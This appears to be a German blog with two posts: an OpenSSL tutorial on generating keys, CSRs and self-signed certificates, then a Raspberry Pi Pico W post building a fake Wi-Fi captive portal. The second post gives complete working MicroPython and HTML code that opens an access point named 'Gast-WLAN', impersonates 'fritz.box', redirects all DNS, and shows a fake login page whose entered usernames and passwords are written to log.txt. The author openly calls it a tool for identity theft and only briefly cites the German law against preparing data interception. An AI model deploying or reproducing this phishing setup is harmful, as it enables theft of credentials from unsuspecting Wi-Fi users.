Bei den meisten Linux Versionen (z.B. Ubuntu bzw. Ubuntu für WSL) ist es in der Regel vorinstalliert. Alternativ ist auch eine Verwendung von OpenSSL unter Windows mit den Binaries ohne Probleme möglich, siehe https://wiki.openssl.org/index.php/Binaries.

Um zu überprüfen, welche OpenSSL-Version installiert ist, kann man mit dem folgenden Befehl herausfinden:

(deck@steamdeck ~)$ openssl version
OpenSSL 1.1.1q  5 Jul 2022


Basiswissen Zertifikate

Mit Hilfe von Zertifikaten ist es möglich eine gesicherte Verbindung zwischen zwei Rechnern aufzubauen. Wir sprechen hier von asymmetrischer Kryptografie. Ein Zertifikat besteht aus einem Schlüsselpaar. Einem Private-Key (geheim und gut schützen), einem Public-Key (öffentlich) und einer Signatur von einer vertrauenswürdigen Zertifizierungsstelle (Certificate Authority - CA). 

Verschlüsselt ein Sender seine Nachricht mit dem Public-Key, kann nur der Empfänger mit dem Private-Key diese wieder entschlüsseln.

Damit die Zertifizierungsstelle das Schlüsselpaar mit seiner eigenen digitalen Signatur zur Authentifizierung (die Angaben des Antragstellers werden überprüft und bestätigt) signieren kann, sind einige Informationen notwendig (Gebräuchlicher Name (CN), Organisation (O), Organisationseinheit (OU), Land/Region (C), Bundesstaat (ST), Ort (L), Domain, E-Mail). Diese werden in einer CSR-Datei (Certificate Signing Request) gespeichert.

Country Name (2 letter code) [AU]: DE
State or Province Name (full name) [Some-State]: Hessen
Locality Name (eg, city) []: Bad Hersfeld
Organization Name (eg, company) [Internet Widgits Pty Ltd]: Ski-Club e.V.
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []: www.scxyz.de
Email Address []: webmaster@scnxyz.de

Um jetzt ein signiertes Zertifikat zu erhalten, muss man die CSR-Datei an die jeweilige Zertifizierungsstelle (Verisign, GeoTrust, GlobalSign, CAcert) senden. Nach eine Überprüfung und Bestätigung der angegeben Daten, bekommt man von Zertifizierungsstelle ein signiertes Zertifikat zurück.

Wichtige Dateinamenserweiterungen von Zertifikaten:

  • .KEY - Schlüsselpaar aus öffentlichen (Public-Key) und privaten Schlüssel (Private-Key, geheimer Schlüssel)
  • .CSR - Base64-kodierte Zertifizierungsanfrage des öffentlichen Schlüssels (plus weitere Metadaten des Besitzers) an eine CA
  • .CRT - Finales signiertes Zertifikat, DER- oder Base64-kodiert
  • .PEM - Schlüsselteile (Public-Key oder signiertes Zertifikat mit Private-Key) Base64-kodiertes

Erstellung eines Zertifikats (Private-Key und Pubilc-Key extrahierern)

Die Erstellung erfolgt in zwei Schritten mit Hilfe von openssl. Zunächst muss ein Private-Key mit Hilfe von openssl genrsa generiert werden:

openssl genrsa -out example-rsa-key.pem 2048

Hinweis: Dieser Befehl ist veraltet, siehe auch genrsa => Generation of RSA Private Key. Superseded by openssl-genpkey(1).

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out example-rsa-key.pem

Die Erstellung eins passwortgeschützten Schlüsselpaars erfolgt mit der Endung -aes256

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out example-rsa-key.pem -aes256

In diesem Beispiel wird ein RSA-Schlüssel mit 2048 Bit Länge erstellt. Laut BSI werden RSA-Schlüssel mit 3000 Bit empfohlen. Auch wird mit dem Befehl nicht nur der Private-Key, sondern auch der Public-Key erstellt!

Mit dem folgenden Befehl kann man den Public-Key extrahieren:

openssl rsa -in example-rsa-key.pem -pubout -out example-rsa-key-public.pem

Certificate Signing Request (CSR) => signiertes Zertifikat

Im nächsten Schritt muss ein Certificate Signing Request erstellt werden (siehe oben Basiswissen). Die Informationen welche hier hinterlegt werden, sind für die Authentifizierung (CA) sehr wichtig!

openssl req -new -key example-rsa-key.pem -out example.csr


Mit dieser CSR-Datei erhält man von der Zertifizierungsstelle, ein gültiges öffentliches Zertifikat!

Hinweis: Zertifikate müssen nicht immer von einer vertrauenswürdigen Zertifizierungsstelle signiert werden. Zum Beispiel für eine interne Kommunikation zwischen Servern sollte ein selbst signiertes Zertifikat genügen!

openssl x509 -in example.csr -out example.crt -req -signkey example-rsa-key.pem -days 3650

In der Datei example.crt befindet sich nun das signierte Zertifikat!

Auslesen kann man diese Datei mit dem folgenden Befehl:

openssl x509 -in example.crt -noout -text
Certificate:
   Data:
       Version: 1 (0x0)
       Serial Number:
           5e:b7:ad:d4:4a:c9:bb:50:90:e9:16:d2:17:59:4e:d1:5d:e3:66:9d
       Signature Algorithm: sha256WithRSAEncryption
       Issuer: C = DE, ST = Hessen, L = Bad Hersfeld, O = Ski-Club, CN = www.xyz.de, emailAddress = webmaster@xyz.de
       Validity
           Not Before: Jan 27 18:37:06 2024 GMT
           Not After : Jan 24 18:37:06 2034 GMT
       Subject: C = DE, ST = Hessen, L = Bad Hersfeld, O = Ski-Club, CN = www.xyz.de, emailAddress = webmaster@xyz.de
       Subject Public Key Info:
           Public Key Algorithm: rsaEncryption
               RSA Public-Key: (2048 bit)
               Modulus:
                   00:b6:6f:47:46:42:60:05:51:55:03:e4:a6:30:54:
                   6a:e3:cc:ac:ef:0c:2a:37:37:ea:fa:bf:30:ed:b0:
                   f8:11:14:28:69:f4:69:70:d0:cd:e7:56:ed:b4:f2:
                   15:8a:f4:dc:4e:19:d4:3d:f1:fd:b5:d4:ca:fd:38:
                   ae:5c:7a:2c:d4:bf:94:e7:17:5c:e6:de:a1:d3:47:
                   d7:c4:35:dc:04:c0:e4:09:c9:f9:0d:e5:ab:90:1c:
                   b4:ab:3f:92:02:4b:4b:6d:62:2f:ff:eb:89:84:93:
                   ab:d3:3c:f4:8a:49:4f:37:f7:2f:77:10:b2:b4:4d:
                   8a:9e:70:54:19:29:57:9f:77:8b:a3:88:c1:16:f7:
                   c0:be:d0:63:de:c4:c0:92:70:6f:2d:88:44:c7:cb:
                   a4:70:4e:d3:86:00:30:9f:29:c2:13:39:44:72:ad:
                   17:d7:12:da:a4:ac:db:a0:2a:25:0c:c3:9a:6d:4e:
                   8f:55:eb:28:34:4a:86:08:0e:4e:8a:1a:7b:93:e5:
                   fb:48:f7:b7:53:85:aa:89:6f:a3:6b:4e:0a:05:6b:
                   f8:c6:d4:b2:9b:60:3c:00:a8:dc:3f:58:79:75:23:
                   c3:d0:43:42:34:ae:0a:96:bf:1d:28:d5:c4:4b:ce:
                   55:66:67:c4:dd:3d:5e:51:5b:b4:7f:c2:66:12:35:
                   55:25
               Exponent: 65537 (0x10001)
   Signature Algorithm: sha256WithRSAEncryption
        a2:73:df:99:2a:90:ae:a8:04:dc:b4:88:68:82:a8:49:00:f5:
        72:d8:d3:e1:05:59:cd:80:9a:25:5c:77:79:dc:fc:c0:ab:26:
        54:6e:b7:ab:98:ce:7e:1f:e4:a6:a2:0b:03:54:31:3e:41:23:
        69:36:59:06:d6:68:41:6e:80:a6:be:3f:ef:04:f3:8a:8b:2d:
        ae:ae:62:ce:8b:33:fb:2b:a7:61:8f:a3:a4:3a:ff:e8:2b:32:
        c8:8b:1e:5e:d2:dd:48:07:18:ec:73:73:7b:61:34:bd:a9:8d:
        66:87:fc:0a:42:8f:e2:d5:9a:1e:83:b4:b4:91:c2:ff:c1:2c:
        ce:21:07:f2:43:3b:e6:b5:42:ee:a7:89:7f:9f:9f:ba:7b:c1:
        a2:39:31:52:3b:39:eb:03:58:0f:4e:f5:c9:f2:26:73:20:bc:
        05:a0:a3:5a:02:6c:74:6a:5c:82:c0:69:8d:a4:29:66:0b:c2:
        e1:e2:08:fd:3c:50:ee:86:03:53:eb:b4:0e:7f:53:1d:6b:b9:
        6c:5b:4e:6b:81:85:3b:38:2a:d7:39:c9:88:50:56:9f:68:51:
        6f:62:a6:76:70:13:ab:30:e5:75:4e:24:c2:d5:5c:91:72:06:
        f5:90:ea:b3:46:50:21:aa:3d:3e:33:2d:c2:ae:ce:2d:70:ea:
        41:0a:b4:f5


Quellen: c't 2/2024 S. 126 und https://cheat.readthedocs.io/en/latest/openssl.html

Freitag, 5. Januar 2024

Raspberry Pi Pico - WLAN und Webserver Bibliothek "phew"

Der Raspberry Pi Pico W kostet nur ca. 10 Euro und ist somit viel günstiger als der normale Raspberry Pi oder Raspberry Pi Zero. Der Pico arbeitet mit einem RP2040 Mikrocontroller (ARM Cortex M0+ mit bis zu 133 MHz Taktfrequenz als CPU, 264 kByte RAM und 2 MByte Flash-Speicher).

In diesem Beitrag werde ich zeigen, wie man einen WLAN-Hotspot einrichtet und per Webserver eine Webseite bzw. eine Hotspot Anmeldewebseite (Captive Portal) ausliefert. Diese kann nun zum Identitätsdiebstahl dienen.


MicroPython installieren

MicroPython steht auf der folgenden Webseite https://micropython.org/download/RPI_PICO_W/ zum Download bereit.

Nach dem Download muss die UF2-Datei auf den Pico geladen werden. Hierfür muss die Boot-Selektor-Taste (BootSEL) gedrückt gehalten werden und der Pico per USB-Kabel mit dem Rechner verbunden werden.
Die Taste BootSEL kann jetzt losgelassen werden, der Pico wird jetzt als Massenspeicher RPI-RP2 erkannt und die Firmwaredatei kann kopiert werden.

Nach dem kopieren der Firmware-Datei, wird diese sofort installiert und es wird ein Reset durchgeführt (der Massenspeicher wird nicht mehr angezeigt).

Die Programmierung kann anschließend mit der Entwicklungsumgebung Thonny erfolgen.

Unter Linux (in meinem Fall das Steam Deck) ist folgendes zu beachten:
(deck@steamdeck Tools)$ ls -l /dev/ttyACM1
crw-rw---- 1 root uucp 166, 1 Jan  2 20:08 /dev/ttyACM1
(deck@steamdeck Tools)$ sudo usermod -a -G uucp deck


Siehe auch https://support.arduino.cc/hc/en-us/articles/360016495679-Fix-port-access-on-Linux.

"phew" Bibliothek (WLAN- und Webserver) installieren

Das aktuelle Release von "phew" unter https://github.com/pimoroni/phew/releases herunterladen und mit Hilfe von Thonny auf den Pico übertragen.


Jetzt lässt sich "phew" wie jede andere Bibliothek einbinden.

Hotspot-Popup (Captive-Portal) programmieren

Wir beginnen mit der main.py . Hier gibt es Abschnitte mit den Kommentaren „#Android Redirects“, „#Apple Redir“ und „#Microsoft Windows Redirects“. In diesen Abschnitten werden die jeweiligen Tests behandelt, die jedes Betriebssystem ausführt um auf ein Captive Portal zu reagieren.

#!/usr/bin/python
# coding=utf-8
# Captive Portal with a Raspberry Pi Pico W
# (c) Sebastian Hemel, www.shemel.de
# Based on picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/
#-----------------------------------------------------------------------------------

from phew import access_point, logging, server, dns
from phew.template import render_template
from os import stat

# This is the address that is shown on the Captive Portal
DOMAIN = "fritz.box" #pico.wireless
# Change this to whatever Wifi SSID you wish
SSID = "Gast-WLAN" #Pico W Captive
HTDOCS = "htdocs"

#How to trigger the pop-up
@server.route("/hotspot-detect.html", methods=["GET"])     # apple redir
@server.route("/generate_204", methods=["GET"])            # android redirects
@server.route("/redirect", methods=["GET"])
def hotspot(request):
    logging.info("redirecting hotspot request " + request.path)
    return server.redirect(f"http://{DOMAIN}/", 302)

@server.route("/ncsi.txt", methods=["GET"])                # microsoft windows redirects
@server.route("/connecttest.txt", methods=["GET"])
def hotspot(request):
    return "", 200

@server.route("/", methods=['GET'])
def index(request):
    logging.info("route/ retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("route/data.html", methods=["GET"])
def hotspot(request):
    logging.info("/data.html retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("/log.txt", methods=["GET"])
def hotspot(request):
    return render_template("log.txt")

@server.catchall()
def catch_all(request):
    try:
        print("***************CATCHALL***********************\n" + str(request))
        stat(HTDOCS + request.path)
        return render_template(HTDOCS + request.path)
    except OSError:
        return "Not found:" + request.path, 404

# Set to Accesspoint mode
ap = access_point(SSID)
ip = ap.ifconfig()[0]
# Grab the IP address and store it
logging.info(f"starting DNS server on {ip}")
# Catch all (DNS server) requests and reroute them
dns.run_catchall(ip)
# Run the server
server.run()
logging.info("Webserver Started")


Im nächsten Schritt benötigen wir eine index.html , hierbei handelt es sich um eine einfache "Proof-of-Concept-Datei". Diese gibt sich als "Captive Portal" aus und fordert den User auf seine Zugangsdaten einzugeben.

     

<!DOCTYPE html>
<html lang="de">
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Pico W Captive Portal</title>
      </head>
      <body>
        <h1>Willkommen beim Captive Portal</h1>
     
        <h2>Login</h2>
           <form id="login-form">
              <p>
            <input type="text" name="username" id="username-field" class="login-form-field" placeholder="Benutzername">
            </p>
              <p>
            <input type="password" name="password" id="password-field" class="login-form-field" placeholder="Passwort">
            </p>
            <input type="submit" value="Absenden" id="login-form-submit" onclick="validate()">
        </form>
       
<script>
    function validate(){
        var username = document.getElementById("username-field").value;
        var password = document.getElementById("password-field").value;
        if (username && password){
            alert ("Login erfolgreich!");
            window.location = "index.html?username="+username+"&password="+password; // Redirecting to other page.
            return false;
        }
        else{
            alert("Bitte geben Sie Ihre Zugangsdaten ein!");
            return false;
        }
    }   
</script>
       
    </body>
</html>

Diese werden durch das Python Script jedoch in eine log.txt gespeichert ;-) .

Hinweis: Bitte beachtet hier den § 202c Vorbereiten des Ausspähens und Abfangens von Daten!